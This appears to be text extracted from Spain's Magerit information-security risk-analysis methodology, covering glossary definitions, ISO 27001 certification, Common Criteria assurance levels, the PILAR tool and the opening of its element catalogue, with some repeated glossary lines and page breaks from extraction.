lisis de los riesgos. [Magerit:1997]
Aceptación del Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010]
riesgo
Risk management: A security philosophy which considers actual threats,
inherent vulnerabilities, and the availability and costs of countermeasures
as the underlying basis for making security decisions (JSCR 1994). [OP-
SEC]
Risk management: Process of identifying and applying countermeasures
commensurate with the value of the assets protected based on a risk as-
sessment. [CNSS:2003]
The identification, assessment, and mitigation of probabilistic security
events (risks) in information systems to a level commensurate with the
value of the assets protected. [CIAO:2000]
Aceptación del Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010]
riesgo
Integrity: Guarding against improper information modification or destruc-
tion, and includes ensuring information non-repudiation and authenticity.
[800-53:2009]
Integrity: the authenticity, accuracy, and completeness of an asset. [Oc-
tave:2003]
Data integrity: A condition existing when data is unchanged from its source
and has not been accidentally or maliciously modified, altered, or de-
stroyed. [CNSS:2003] [TDIR:2003] [CIAO:2000]
Data integrity: The data quality that exists as long as accidental or mali-
cious destruction, alteration, or loss of data does not occur. [CRAMM:2003]
Integrity: Condition existing when an information system operates without
unauthorized modification, alteration, impairment, or destruction of any of
its components. [CIAO:2000]
Mapa de riesgos Informe: Relación de las amenazas a que están expuestos los activos.
Threat Analysis: The examination of all actions and events that might ad-
versely affect a system or operation. [TDIR:2003]
Threat Assessment: An evaluation of the nature, likelihood, and conse-
quence of acts or events that could place sensitive information and assets
as risk. [TDIR:2003]
Modelo de valor Informe: Caracterización del valor que representan los activos para la Or-
ganización así como de las dependencias entre los diferentes activos.
Plan de seguridad Conjunto de proyectos de seguridad que permiten materializar las decisio-
nes de gestión de riesgos.
Riesgo Estimación del grado de exposición a que una amenaza se materialice so-
bre uno o más activos causando daños o perjuicios a la Organización.
Efecto de la incertidumbre sobre la consecución de los objetivos. [UNE-
ISO Guía 73:2010]
Posibilidad de que se produzca un impacto determinado en un activo, en
un dominio o en toda la Organización. [Magerit:1997]
Aceptación del Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010]
riesgo
Probabilidad de que una vulnerabilidad propia de un sistema de informa-
ción sea explotada por las amenazas a dicho sistema, con el objetivo de
penetrarlo. [CESID:1997]
Risk: A measure of the potential degree to which protected information is
subject to loss through adversary exploitation. [OPSEC]
Risk: Possibility that a particular threat will adversely impact an information
system by exploiting a particular vulnerability. [CNSS:2003]
Risk: A combination of the likelihood that a threat will occur, the likelihood
that a threat occurrence will result in an adverse impact, and the severity of
the resulting adverse impact. Reducing either the threat or the vulnerability
reduces the risk. [TDIR:2003]
Total risk: The potential for the occurrence of an adverse event if no miti-
gating action is taken (i.e., the potential for any applicable threat to exploit
a system vulnerability). [TDIR:2003]
Risk: A measure of the exposure to which a system or potential system
may be subjected. [CRAMM:2003]
Riesgo acumulado Dícese del calculado tomando en consideración el valor propio de un acti-
vo y el valor de los activos que depende de él. Este valor se combina con
la degradación causada por una amenaza y la frecuencia estimada de la
misma.
Riesgo potencial Riesgos potenciales. Los riesgos del sistema de información en la hipóte-
sis de que no hubieran salvaguardas presentes. [UNE 71504:2008]
Inherent risk – The risk level or exposure without taking into account the
actions that management has taken or might take (e.g. implementing con-
trols) [RiskIT-PG:2009]
Riesgo repercutido Dícese del calculado tomando en consideración únicamente el valor propio
de un activo. Este valor se combina con la degradación causada por una
amenaza y la frecuencia estimada de la misma, medidas ambas sobre ac-
tivos de los que depende.
Riesgo residual Riesgo remanente en el sistema después del tratamiento del riesgo. [UNE-
ISO Guía 73:2010]
Riesgo remanente en el sistema tras la implantación de las salvaguardas
determinadas en el plan de seguridad de la información. [Magerit:2006]
Riesgo que se da tras la aplicación de salvaguardas dispuestas en un es-
cenario de simulación o en el mundo real. [Magerit:1997]
Residual risk: Portion of risk remaining after security measures have been
applied. [CNSS:2003] [CRAMM:2003]
Residual Risk: The potential for the occurrence of an adverse event after
adjusting for the impact of all in-place safeguards. [TDIR:2003]
Aceptación del Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010]
riesgo
Safeguard: Protective measures prescribed to meet the security require-
ments (i.e., confidentiality, integrity, and availability) specified for an infor-
mation system. Safeguards may include security features, management
constraints, personnel security, and security of physical structures, areas,
and devices. [800-53:2009]
Countermeasure: Action, device, procedure, technique, or other measure
that reduces the vulnerability of an information system. [CNSS:2003]
Security safeguard: Protective measures and controls prescribed to meet
the security requirements specified for an information system. Safeguards
may include security features, management constraints, personnel secu-
rity, and security of physical structures, areas, and devices. [CNSS:2003]
Countermeasure: Any action, device, procedure, technique, or other
measure that mitigates risk by reducing the vulnerability of, threat to, or im-
pact on a system. [TDIR:2003]
Sistema de infor- Los ordenadores y redes de comunicaciones electrónicas, así como los
mación datos electrónicos almacenados, procesados, recuperados o transmitidos
por los mismos para su operación, uso, protección y mantenimiento.
Conjunto organizado de recursos para que la información se pueda reco-
ger, almacenar, procesar (tratar), mantener, usar, compartir, distribuir, po-
ner a disposición, presentar o transmitir. [UNE 71504:2008]
Conjunto de elementos físicos, lógicos, elementos de comunicación, datos
y personal que permiten el almacenamiento, transmisión y proceso de la
información. [Magerit:1997]
Cualquier sistema o producto destinado a almacenar, procesar o transmitir
información. [CESID:1997]
Information System: Set of information resources organized for the collec-
tion, storage, processing, maintenance, use, sharing, dissemination, dispo-
sition, display, or transmission of information. [CNSS:2003]
Information System: Any procedure or process, with or without IT support,
that provides a way of acquiring, storing, processing or disseminating in-
formation. Information systems include applications and their supporting
infrastructure. [CRAMM:2003]
Aceptación del Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010]
riesgo
ra prevenir, impedir, reducir o controlar los riesgos identificados. [UNE
71504:2008]
Valor acumulado Considera tanto el valor propio de un activo como el valor de los activos
que dependen de él.
Bienes de abolengo: Los heredados de los abuelos. [DRAE]
Acrónimos
ALE Annual Loss Expectancy
ARO Annual Rate of Occurrence
BIA Business Impact Analysis
GRC Governance, Risk Management, and Compliance
Accountability Trazabilidad
Authenticity Autenticidad
Availability Disponibilidad
Asset Activo
Business Impact Analysis Análisis de impacto
Compliance Cumplimiento
Confidentiality Confidencialidad
Countermeasure Contra medida
Frequency Frecuencia
Impact Impacto
Information security Seguridad de la información
Information security incident Incidente de seguridad
Information system Sistema de información
Integrity Integridad
Residual risk Riesgo residual
Risk Riesgo
Risk acceptance Aceptación de riesgos
Risk analysis Análisis de riesgos
Risk assessment Análisis de riesgos
Risk management Gestión de riesgos
Risk map Mapa de riesgo
Risk treatment Tratamiento del riesgo
Safeguard Salvaguarda
Security Seguridad
Statement of applicability Documento de selección de controles
Traceability Trazabilidad
Threat Amenaza
Value Valor
Vulnerability Vulnerabilidad
Definiciones
Riesgo
Efecto de la incertidumbre sobre la consecución de los objetivos.
NOTA 1 – Un efecto es una desviación, positiva y/o negativa, respecto a lo previsto.
NOTA 2 – Los objetivos pueden tener diferentes aspectos (tales como financieros, de
salud y seguridad, o ambientales) y se pueden aplicar a diferentes niveles (tales como
nivel estratégico, nivel de un proyecto, de un producto, de un proceso o de una organi-
zación completa).
NOTA 3 – Con frecuencia, el riesgo se caracteriza por referencia a sucesos potencia-
les y a sus consecuencias, o a una combinación de ambos.
NOTA 4 – Con frecuencia, el riesgo se expresa en términos de combinación de las
consecuencias de un suceso (incluyendo los cambios en las circunstancias) y de su
probabilidad.
NOTA 5 – La incertidumbre es el estado, incluso parcial, de deficiencia en la informa-
ción relativa a la comprensión o al conocimiento de un suceso, de sus consecuencias
o de su probabilidad.
Proceso de gestión del riesgo
Aplicación sistemática de políticas, procedimientos y prácticas de gestión a las activi-
dades de comunicación, consulta, establecimiento del contexto, e identificación, análi-
sis, evaluación, tratamiento, seguimiento y revisión del riesgo.
Dueño del riesgo
Persona o entidad que tiene la responsabilidad y autoridad para gestionar un riesgo.
Tratamiento del riesgo
Proceso destinado a modificar el riesgo.
NOTA 1 – El tratamiento del riesgo puede implicar:
— evitar el riesgo, decidiendo no iniciar o continuar con la actividad que motiva el
riesgo;
— aceptar o aumentar el riesgo con objeto de buscar una oportunidad;
— eliminar la fuente de riesgo;
— cambiar la probabilidad;
— cambiar las consecuencias;
— compartir el riesgo con otra u otras partes [incluyendo los contratos y la financia-
ción del riesgo]; y
— mantener el riesgo en base a una decisión informada.
NOTA 2 – Los tratamientos del riesgo que conducen a consecuencias negativas, en
ocasiones se citan como “mitigación del riesgo”, “eliminación del riesgo”, “prevención
del riesgo” y “reducción del riesgo”.
NOTA 3 – El tratamiento del riesgo puede originar nuevos riesgos o modificar los ries-
gos existentes.
Apéndice 2. Referencias
Arreglo 2000
“Arreglo sobre el Reconocimiento de los Certificados de Criterios Comunes en el campo de la
Seguridad de las Tecnologías de la Información”, Mayo, 2000.
BSI
Federal Office for Information Security (BSI). “IT Baseline Protection Manual”, October 2003.
Germany.
http://www.bsi.de/gshb/english/etc/index.htm
CC
Comon Criteria. Ver [ISO 15408].
CEM
Common Evaluation Methodology. Ver [ISO 18045].
CESID
Centro Superior de Información de la Defensa, “Glosario de Términos de Criptología”, Ministe-
rio de Defensa, 3ª edición, 1997.
CIAO
Critical Infrastructure Assurance Office, “Practices for Securing Critical Information Assets”,
January 2000.
CNSS
Committee on National Security Systems, Instruction No. 4009, “National Information Assuran-
ce (IA) Glossary“, May 2003.
CRAMM
“CCTA Risk Analysis and Management Method (CRAMM)”, Version 5.0, 2003.
DARPA 1601
“The Vulnerability Assessment and Mitigation Methodology”, P.S. Antón et al., RAND National
Defense Research Institute, MR-1601-DARPA, 2003.
DRAE
Real Academia Española. Diccionario de la Lengua Española. 22.ª edición, 2001.
http://buscon.rae.es/diccionario/drae.htm
EA-7
European Co-Operation for Accreditation, “Guidelines for the Accreditation of Bodies Operating
Certification / Registration of Information Security Management Systems”, EA-7/03, February
2000.
EBIOS
“Méthode pour l’Expression des Besoins et l’Identification des Objectifs de Sécurité”. Service
Central de la Sécurité des Systèmes d'Information. France.
GAO
United States General Accounting Office, Accounting and Information Management Division,
“Information Security Risk Assessment — GAO Practices of Leading Organizations.
ISO 73
ISO Guide 73:2009, “Risk management — Vocabulary”.
UNE-ISO Guía 73:2010, “Gestión del riesgo. Vocabulario”.
ISO 7498-2
ISO 7498-2:1989, “Information processing systems — Open Systems Interconnection — Basic
Reference Model — Part 2: Security Architecture”.
A4.1.1. La certificación
Certificar un sistema de gestión de la seguridad consiste en que alguien, externo a la Organiza-
ción y acreditado para la tarea, afirma que ha auditado el sistema y lo considera ajustado a la
norma correspondiente. En el caso que nos ocupa, la norma es la UNE-ISO/IEC 27001:2007.
El que certifica compromete en ello su palabra (por escrito). Con todas las cautelas de alcance y
tiempo que se consideren oportunas (y se recojan explícitamente). Y sabiendo que lo que se ase-
gura hoy, hay que revisarlo a medio plazo pues todo evoluciona.
Para obtener un certificado hay que seguir una serie de formalismos. Sin entrar en excesivo deta-
lle nos centraremos en qué evalúa el equipo que envía el organismo de certificación a juzgar a la
Organización.
Lo primero que hay que hacer es delimitar el alcance de lo que se va a evaluar como “Sistema de
Gestión de la Seguridad de la Información”. Esta es una delimitación propia de cada Organización,
que refleja su misión y su organización interna. Es importante delimitar con claridad. Si el períme-
tro es difuso no quedará claro qué hay que hacer en los pasos siguientes; en particular, no se sa-
brá muy bien a qué personas y departamentos hay que dirigirse para reclamar la información per-
tinente. Nótese que esto puede no ser evidente. Actualmente es raro encontrar una organización
cerrada desde el punto de vista de sus sistemas de información: la externalización de servicios, la
administración electrónica y el comercio electrónico han diluido las fronteras. Por otra parte, el or-
ganigrama interno rara vez responde a las responsabilidades en seguridad.
Lo siguiente que hay que tener claro, escrito y mantenido es la política de seguridad corporativa. A
menudo la política de seguridad incluye la relación de la legislación que afecta. Es absolutamente
necesario delimitar el marco legislativo y regulatorio al que hay que atenerse.
Todo debe estar escrito. Y bien escrito: se entiende, es coherente, se divulga, es conocido por los
involucrados y se mantiene al día. Un proceso de certificación siempre tiene un fuerte componente
de revisión de documentación.
Antes de que venga el equipo evaluador, hay que tener una foto del estado de riesgo de la Orga-
nización. Es decir, que hay que hacer un análisis de riesgos identificando activos, valorándolos,
identificando y valorando las amenazas significativas. En este proceso se determina qué salva-
guardas requiere el sistema y con qué calidad. Cada caso es un mundo aparte: ni todo el mundo
tiene los mismos activos, ni valen lo mismo, ni están igualmente interconectados, ni todo el mundo
está sujeto a las mismas amenazas, ni todo el mundo adopta la misma estrategia para protegerse.
El análisis de riesgos es una herramienta (imprescindible) de gestión. Por hacer o dejar de hacer
un análisis de riesgos no se está ni más ni menos seguro: simplemente, se sabe dónde se está. A
partir de este conocimiento podemos tomar decisiones de tratamiento y ejecutarlas.
© Ministerio de Hacienda y Administraciones Públicas página 115 (de 127)
Magerit 3.0 Evaluación y certificación
Los resultados del análisis de riesgos permiten justificar las decisiones de tratamiento del riesgo.
Todo esto deberá ser verificado por el equipo evaluador que, de quedar satisfecho, avalará la
concesión del certificado.
El equipo evaluador inspecciona el sistema de información que se desea certificar contrastándolo
con una referencia reconocida que permita objetivar la evaluación a fin de evitar cualquier tipo de
arbitrariedad o subjetividad y permitir la utilización universal de las certificaciones emitidas. Se uti-
liza un “esquema de certificación” (en el caso que nos ocupa, la norma UNE-ISO/IEC
27001:2007).
La norma 27001 tiene por objeto la especificación de “los requisitos para establecer, implantar,
documentar y evaluar un Sistema de Gestión de la Seguridad de la Información con independen-
cia de su tipo, tamaño o área de actividad.”
A4.1.3. Terminología
Se recogen a continuación los términos usados en las actividades de certificación de sistemas de
información, tal y como se entienden en este contexto.
Acreditación
Procedimiento mediante el cual un Organismo autorizado reconoce formalmente que una
organización es competente para la realización de una determinada actividad de evaluación
de la conformidad.
Auditoría
Ver “evaluación”.
Certificación
El objetivo de la certificación es “declarar públicamente que un producto, proceso o servicio
es conforme con requisitos establecidos” .
Certification: A comprehensive assessment of the management, operational, and technical
security controls in an information system, made in support of security accreditation, to de-
termine the extent to which the controls are implemented correctly, operating as intended,
and producing the desired outcome with respect to meeting the security requirements for the
system. [NIST 800-37]
Documento de certificación (o registro)
Documento que afirma que el sistema de gestión de la seguridad de la información (SGSI)
de una organización es conforme a la normativa de referencia adaptada a la singularidad de
la organización certificada.
Documento de selección de controles
Documento que describe los objetivos de control y los controles relevantes y aplicables al
Sistema de Gestión de la Seguridad de la Información de la organización. Éste documento
debe estar basado en los resultados y conclusiones del proceso de análisis y gestión de
riesgos.
De esta forma se puede garantizar la objetividad del proceso; es decir, construir la confianza en
que los resultados de un proceso de certificación son válidos universalmente, independientemente
de dónde se realice la certificación.
Dado que [la calidad de] la seguridad requerida de un sistema no es siempre la misma, sino que
depende de para qué se quiera emplear, CC establece una escala de niveles de aseguramiento 38 :
EAL0: sin garantías
EAL1: probado funcionalmente
35 En CC se emplea una terminología propia, rigurosa pero no siempre intuitiva. Más adelante se recoge la
definición precisa de cada término en el contexto de los CC.
36 El día 23 de mayo de 2000 tuvo lugar en Baltimore (Maryland, Estados Unidos) la ratificación de la ad-
hesión de Alemania, Australia, Canadá, España, Estados Unidos, Finlandia, Francia, Grecia, Italia, No-
ruega, Nueva Zelanda, Países Bajos y Reino Unido, al Arreglo sobre el Reconocimiento de los Certifica-
dos de Criterios Comunes en el campo de la Seguridad de la Tecnología de la Información (en lo sucesi-
vo Arreglo). Posteriormente, se han incorporado Israel, Suecia, Austria, Turquía, Hungría, Japón, Repú-
blica Checa, Corea, Singapur e India. Véase http://www.csi.map.es/csi/pg3433.htm.
37 El Real Decreto 421/2004 de 12 de marzo, regula las funciones del Centro Criptológico Nacional, entre
cuyas funciones aparece la de “constituir el organismo de certificación del esquema nacional de evalua-
ción y certificación de la seguridad de las tecnologías de información, de aplicación a productos y siste-
mas en su ámbito.” El esquema nacional puede encontrarse en http://www.oc.ccn.cni.es/ .
38 EAL: Evaluation Assurance Level
© Ministerio de Hacienda y Administraciones Públicas página 118 (de 127)
Magerit 3.0 Evaluación y certificación
EAL2: probado estructuralmente
EAL3: probado y chequeado metódicamente
EAL4: diseñado, probado y revisado metódicamente
EAL5: diseñado y probado semi-formalmente
EAL6: diseñado, probado y verificado semi-formalmente
EAL7: diseñado, probado y verificado formalmente
Los niveles superiores requieren un mayor esfuerzo de desarrollo y de evaluación, ofreciendo a
cambio unas grandes garantías a los usuarios. Por ejemplo, en el ámbito de la firma electrónica,
los dispositivos seguros de firma suelen certificarse contra un perfil de nivel EAL4+ 39 .
A4.2.1. Beneficiarios
Los CC se dirigen a una amplia audiencia de potenciales beneficiarios de la formalización de los
conceptos y elementos de evaluación: los consumidores (usuarios de productos de seguridad), los
desarrolladores y los evaluadores. Un lenguaje común entre todos ellos se traduce en ventajas
apreciables:
Para los consumidores
• que pueden expresar sus necesidades, antes de adquirir los servicios o productos que las
satisfagan; esta caracterización puede resultar útil tanto en adquisiciones individuales,
como en la identificación de necesidades de grupos de usuarios
• que pueden analizar las características de los servicios o productos que ofrece el merca-
do
• que pueden comparar diferentes ofertas
Para los desarrolladores
• que saben qué se les va a exigir y cómo se van a evaluar sus desarrollos
39 Cuando un producto está entre dos niveles, se indica su nivel inferior seguido de un signo “+” que se lee
como “aumentado”. Así, un producto evaluado EAL4+ significa que cumple todos los niveles de calidad
del nivel 4 y algunos de niveles superiores.
© Ministerio de Hacienda y Administraciones Públicas página 119 (de 127)
Magerit 3.0 Evaluación y certificación
nomina perfil de protec ción (PP – Protection Profile). Si no se está hablando de un sistema ge-
nérico, sino de un sistema concreto, el conjunto de requisitos se conoce como declaración de
seguridad (ST – Security Target).
Los PP, dado su carácter genérico, cubren diferentes productos concretos. Suelen ser preparados
por grupos de usuarios u organismos internacionales que quieren modelar el mercado 40 .
Los ST, dado su carácter específico, cubren un producto concreto. Suelen ser preparados por los
propios fabricantes que de esta manera formalizan su oferta 41 .
CC determina los apartados en que debe estructurarse un PP o un ST. El índice de estos docu-
mentos es un buen indicador de su alcance:
Los PP y los ST pueden ser a su vez sometidos a una evaluación formal que verifique su completi-
tud e integridad. Los PP así evaluados pueden pasar a registros públicos para ser compartidos por
diferentes usuarios.
En la elaboración de un ST se hace referencia a los PP a los que se acoge.
40 Un ejemplo típico de PP podría ser aquel que fija las características de seguridad que se deben exigir a
un cortafuegos.
41 Un ejemplo típico de ST podría ser aquel que fija las características de seguridad del modelo 3000 del
fabricante XXL S.A., un modelo que permite cifrar las comunicaciones telefónicas.
© Ministerio de Hacienda y Administraciones Públicas página 120 (de 127)
Magerit 3.0 Evaluación y certificación
requisitos funcionales de seguridad (functional requirements)
• ¿qué hay que hacer?
• definen el comportamiento funcional del TOE
requisitos de garantía de la funcionalidad de la seguridad (assurance requirements)
• ¿está el TOE bien construido?
• ¿es eficaz? ¿satisface el objetivo para el que se requiere?
• ¿es eficiente? ¿alcanza sus objetivos con un consumo razonable de recursos?
Es importante destacar que CC establece un lenguaje común para expresar los objetivos funcio-
nales y de aseguramiento. Es necesario pues que el análisis de riesgos utilice esta terminología
en la selección de salvaguardas. La norma CC nos proporciona en su parte 2 el catálogo estanda-
rizado de objetivos funcionales, mientras que en su parte 3 nos proporciona el catálogo estandari-
zado de objetivos de aseguramiento.
A4.2.5. Terminología
Debido a que su objetivo es servir de referencia internacional y sustentar evaluaciones y certifica-
ciones, los criterios comunes deben ser muy precisos en su terminología. En el texto previo se han
venido introduciendo los términos según se necesitaban; estos términos se recogen formalmente
a continuación:
Assurance (garantía)
Base de la confianza en que una entidad cumple sus objetivos de seguridad.
Evaluation (evaluación)
Valoración de un PP, ST o TOE frente a criterios definidos.
Evaluation Assurance Level (EAL) (nivel de garantía de evaluación)
Paquete que consiste en componentes de garantía de la Parte 3 y que representa un nivel
en la escala de garantía predefinida de CC.
Evaluation authority (autoridad de evaluación)
Organismo que implementa los CC para una comunidad específica mediante un esquema
de evaluación por el que se establecen las normas y se supervisa la calidad de las evalua-
ciones realizadas por organismos de dicha comunidad.
Evaluation scheme (esquema de evaluación)
Marco administrativo y regulador bajo el que una autoridad de evaluación aplica los CC en
una comunidad específica.
Formal
Expresado en un lenguaje de sintaxis restringida con una semántica definida basada en
conceptos matemáticos bien establecidos.
Informal
Expresado en lenguaje natural.
Organisational security policies (Políticas de seguridad organizativas )
Una o más reglas de seguridad, procedimientos, prácticas o directrices impuestas por una
organización sobre sus operaciones.
Product (producto)
Paquete de software, firmware y/o hardware de TI que proporciona una funcionalidad dise-
ñado para su uso o su incorporación en una gran variedad de sistemas.
Protection Profile (PP) (perfil de protección)
Conjunto de requisitos de seguridad, independiente de la implementación, para una catego-
ría de TOEs que satisfacen unas necesidades específicas del consumidor.
Security objective (objetivo de seguridad)
Declaración de la intención de contrarrestar las amenazas identificadas y/o de cumplir las
políticas e hipótesis de seguridad identificadas de la organización.
Security Target (ST) (declaración de seguridad)
Conjunto de requisitos de seguridad y especificaciones utilizados como base de la evalua-
ción de un TOE identificado.
Semiformal
Expresado en un lenguaje de sintaxis restringida con semántica definida.
System (sistema)
Instalación específica de TI, con un propósito y en un entorno particulares.
Target of Evaluation (TOE) (objeto a evaluar)
Producto o sistema de TI y sus manuales de administrador y de usuario asociados que se
somete a evaluación.
© Ministerio de Hacienda y Administraciones Públicas página 122 (de 127)
Magerit 3.0 Evaluación y certificación
TOE Security Functions (TSF) (funciones de seguridad del TOE)
Conjunto compuesto de todo el hardware, firmware y software del TOE con el que hay que
contar para la correcta aplicación de la TSP.
TOE Security Policy (TSP) (política de seguridad del TOE)
Conjunto de reglas que regulan cómo se gestionan, protegen y distribuyen los activos en el
TOE.
Apéndice 5. Herramientas
La realización de un proyecto de análisis de riesgos supone trabajar con una cierta cantidad de
activos que rara vez baja de las decenas y que habitualmente son algunos centenares. El número
de amenazas típicamente está del orden de las decenas, mientras que el número de salvaguardas
está en los millares. Todo ello nos indica que hay que manejar multitud de datos y combinaciones
entre ellos, lo que lleva lógicamente a buscar apoyo de herramientas automáticas.
Como requisitos generales, una herramienta de apoyo al análisis de riesgos debe:
• permitir trabajar con un conjunto amplio de activos, amenazas y salvaguardas;
• permitir un tratamiento flexible del conjunto de activos para acomodar un modelo cercano a
la realidad de la Organización;
• ser utilizada a lo largo de los tres procesos que constituyen el proyecto, especialmente como
soporte al proceso P2, Análisis de Riesgos y
• no ocultar al analista el razonamiento que lleva a las conclusiones.
Las herramientas pueden hacer un tratamiento cualitativo o cuantitativo de la información. La op-
ción entre uno y otro planteamiento ha sido motivo de largo debate. Los modelos cualitativos ofre-
cen resultados útiles antes que los modelos cuantitativos, simplemente porque la captura de datos
cualitativa es más ágil que la cuantitativa 42 . Los modelos cualitativos son eficaces relativizando lo
más importante de lo que no es tan importante; pero agrupan las conclusiones en grandes grupos.
Los modelos cuantitativos, por el contrario, consiguen una ubicación precisa de cada aspecto.
Impacto y riesgo residual pueden ser cualitativos hasta que aparecen grandes inversiones y hay
que determinar su racionalidad económica: ¿qué es lo que interesa más? En este punto se nece-
sitan números.
Una opción mixta es útil: un modelo cualitativo para el sistema de información completo, con ca-
pacidad de entrar en un modelo cuantitativo para aquellos componentes cuya protección va a re-
querir fuertes desembolsos.
También es cierto que el modelo de valor de una Organización debe emplearse durante largo
tiempo, al menos durante los años que dure el plan de seguridad para analizar el efecto de la eje-
cución del plan de seguridad. Es notablemente más dificultoso generar un modelo de valor desde
cero que ir adaptando un modelo existente a la evolución de los activos del sistema y a la evolu-
ción de los servicios que presta la Organización. En esta evolución continua puede afrontarse la
progresiva migración de un modelo cualitativo inicial hacia un modelo cada vez más cuantitativo.
Es de destacar que los datos de caracterización de las posibles amenazas son datos tentativos en
los primeros modelos; pero la experiencia permite ir ajustando las valoraciones a la realidad.
Sean herramientas cualitativas o cuantitativas, estas deben:
• Manejar un catálogo razonablemente completo de tipos de activos. En esta línea se orienta
el capítulo 2 del "Catálogo de Elementos".
• Manejar un catálogo razonablemente completo de dimensiones de valoración. En esta línea
se orienta el capítulo 3 del "Catálogo de Elementos".
• Ayudar a valorar los activos ofreciendo criterios de valoración. En esta línea se orienta el
capítulo 4 del "Catálogo de Elementos".
• Manejar un catálogo razonablemente completo de amenazas. En esta línea se encamina el
capítulo 5 del "Catálogo de Elementos".
42 Hay que valorar activos y esta es una tarea de consenso. Tanto la valoración como la búsqueda del con-
senso son notablemente más rápidas si hay que determinar un orden de magnitud que si hay que deter-
minar un número absoluto.
© Ministerio de Hacienda y Administraciones Públicas página 124 (de 127)
Magerit versión 2 Herramientas
• Manejar un catálogo razonablemente completo de salvaguardas. En esta línea se orienta el
capítulo 6 del "Catálogo de Elementos".
• Evaluar el impacto y el riesgo residuales.
Es interesante que las herramientas puedan importar y exportar los datos que manejan en forma-
tos fácilmente procesables por otras herramientas, cabiendo citar
• XML – Extended Markup Language
que es la opción tomada en esta guía, que establece formatos XML de intercambio
• CSV – Comma Separated Values
A5.1. PILAR
PILAR, acrónimo de “Procedimiento Informático-Lógico para el Análisis de Riesgos” es una
herramienta desarrollada bajo especificación del Centro Nacional de Inteligencia para soportar el
análisis de riesgos de sistemas de información siguiendo la metodología Magerit.
La herramienta soporta todas las fases del método Magerit:
• Caracterización de los activos: identificación, clasificación, dependencias y valoración
• Caracterización de las amenazas
• Evaluación de las salvaguardas
La herramienta incorpora los catálogos del "Catálogo de Elementos" permitiendo una homogenei-
dad en los resultados del análisis:
• tipos de activos
• dimensiones de valoración
• criterios de valoración
• catálogo de amenazas
Para incorporar este catálogo, PILAR diferencia entre el motor de cálculo de riesgos y la biblioteca
de elementos, que puede ser reemplazada para seguir el paso de la evolución en el tiempo de los
catálogos de elementos.
La herramienta evalúa el impacto y el riesgo, acumulado y repercutido, potencial y residual, pre-
sentándolo de forma que permita el análisis de por qué se da cierto impacto o cierto riesgo.
Las salvaguardas se califican por fases, permitiendo la incorporación a un mismo modelo de dife-
rentes situaciones temporales. Típicamente se puede incorporar el resultado de los diferentes pro-
yectos de seguridad a lo largo de la ejecución del plan de seguridad, monitorizando la mejora del
sistema.
Los resultados se presentan en varios formatos: informes RTF, gráficas y tablas para incorporar a
hojas de cálculo. De esta forma es posible elaborar diferentes tipos de informes y presentaciones
de los resultados.
Por último, la herramienta calcula calificaciones de seguridad siguiendo los epígrafes de normas
de iure o de facto de uso habitual. Caben citarse:
• UNE-ISO/IEC 27002:2009: sistemas de gestión de la seguridad
• RD 1720/2007: datos de carácter personal
• RD 3/2010: Esquema Nacional de Seguridad
Por último hay que destacar que PILAR incorpora tanto los modelos cualitativo como cuantitativo,
pudiendo alternarse entre uno y otro para extraer el máximo beneficio de las posibilidades teóricas
de cada uno de ellos.
43 Dimensión, en una de las acepciones del Diccionario de la Lengua Española, dícese que es “Cada una
de las magnitudes de un conjunto que sirven para definir un fenómeno. Por ejemplo, el espacio de cuatro
dimensiones de la teoría de la relatividad.”
© Ministerio de Hacienda y Administraciones Públicas página 126 (de 127)
Magerit versión 2 Evolución de Magerit
Edita:
© Ministerio de Hacienda y Administraciones Públicas
Secretaría General Técnica
Subdirección General de Información,
Documentación y Publicaciones
Centro de Publicaciones
Índice
1. Introducción.................................................................................................................... 6
4. Criterios de valoración................................................................................................. 19
5. Amenazas...................................................................................................................... 25
6. Salvaguardas ................................................................................................................ 53
1. Introducción
El objetivo de este catálogo de elementos que aparecen en un proyecto de análisis y gestión de
riesgos es doble:
1. Por una parte, facilitar la labor de las personas que acometen el proyecto, en el sentido de
ofrecerles ítem estándar a los que puedan adscribirse rápidamente, centrándose en lo es
pecífico del sistema objeto del análisis.
2. Por otra, homogeneizar los resultados de los análisis, promoviendo una terminología y unos
criterios que permitan comparar e incluso integrar análisis realizados por diferentes equipos.
Persiguiendo estos objetivos, y sabiendo que la tecnología cambia rápidamente, las secciones
que siguen describen un catálogo1 que marca unas pautas en cuanto a
Tipos de activos, sabiendo que aparecerán nuevos tipos de activos continuamente.
Dimensiones de valoración, sabiendo que en casos específicos pueden aparecer dimensio
nes específicas; pero en la certidumbre de estar recogido lo esencial.
Criterios de valoración, sabiendo que hay un fuerte componente de estimación por los exper
tos; pero marcando una primera pauta de homogeneidad. El ánimo es relativizar el valor de
los diferentes activos en sus diferentes dimensiones de valoración, de forma que no sólo se
propone una escala dentro de una dimensión, sino que también se propone cómo se rela
cionan las diferentes dimensiones entre sí.
Amenazas, sabiendo que no todas las amenazas son significativas sobre todos los sistemas;
pero con una razonable esperanza de que este catálogo crezca lentamente.
Salvaguardas, sabiendo que es un terreno extremadamente complejo por su riqueza de tecno
logías, productos y combinaciones ingeniosas de elementos básicos. Las salvaguardas se
tratan con un enfoque de “identificación de necesidades” por parte de los responsables de
los sistemas de información, mientras que se tratan con un enfoque de “controles de eficacia
y eficiencia” por los auditores de sistemas. Se ha intentado un lenguaje intermedio que satis
faga a ambos colectivos.
Cada sección incluye una notación XML que se empleará para publicar los elementos en un for
mato estándar capaz de ser procesado automáticamente por herramientas informáticas.
1 Este catálogo deberá adaptarse a la evolución de los sistemas de información. Es por ello que para cada
categoría de elementos se define una notación XML que permitirá publicar ágilmente actualizaciones de
este catálogo.
2. Tipos de activos
[service] servicio
(1) Dícese de aquellos que son esenciales para la supervivencia de la Organización; es decir
que su carencia o daño afectaría directamente a la existencia de la Organización. Se pue
den identificar aquellos que son imprescindibles para que la Organización supere una situa
ción de emergencia, aquellos que permiten desempeñar o reconstruir las misiones críticas,
aquellos sustancian la naturaleza legal o los derechos financieros de la Organización o sus
usuarios.
(2) Dícese de cualquier información concerniente a personas físicas identificadas o identifica
bles. Los datos de carácter personal están regulados por leyes y reglamentos en cuanto
afectan a las libertades públicas y los derechos fundamentales de las personas físicas, y
especialmente su honor e intimidad personal y familiar.
(3) Dícese de aquellos sometidos a normativa específica de control de acceso y distribución;
es decir aquellos cuya confidencialidad es especialmente relevante. La tipificación de qué
datos deben ser clasificados y cuales son las normas para su tratamiento, vienen deter
minadas por regulaciones sectoriales, por acuerdos entre organizaciones o por normativa
interna.
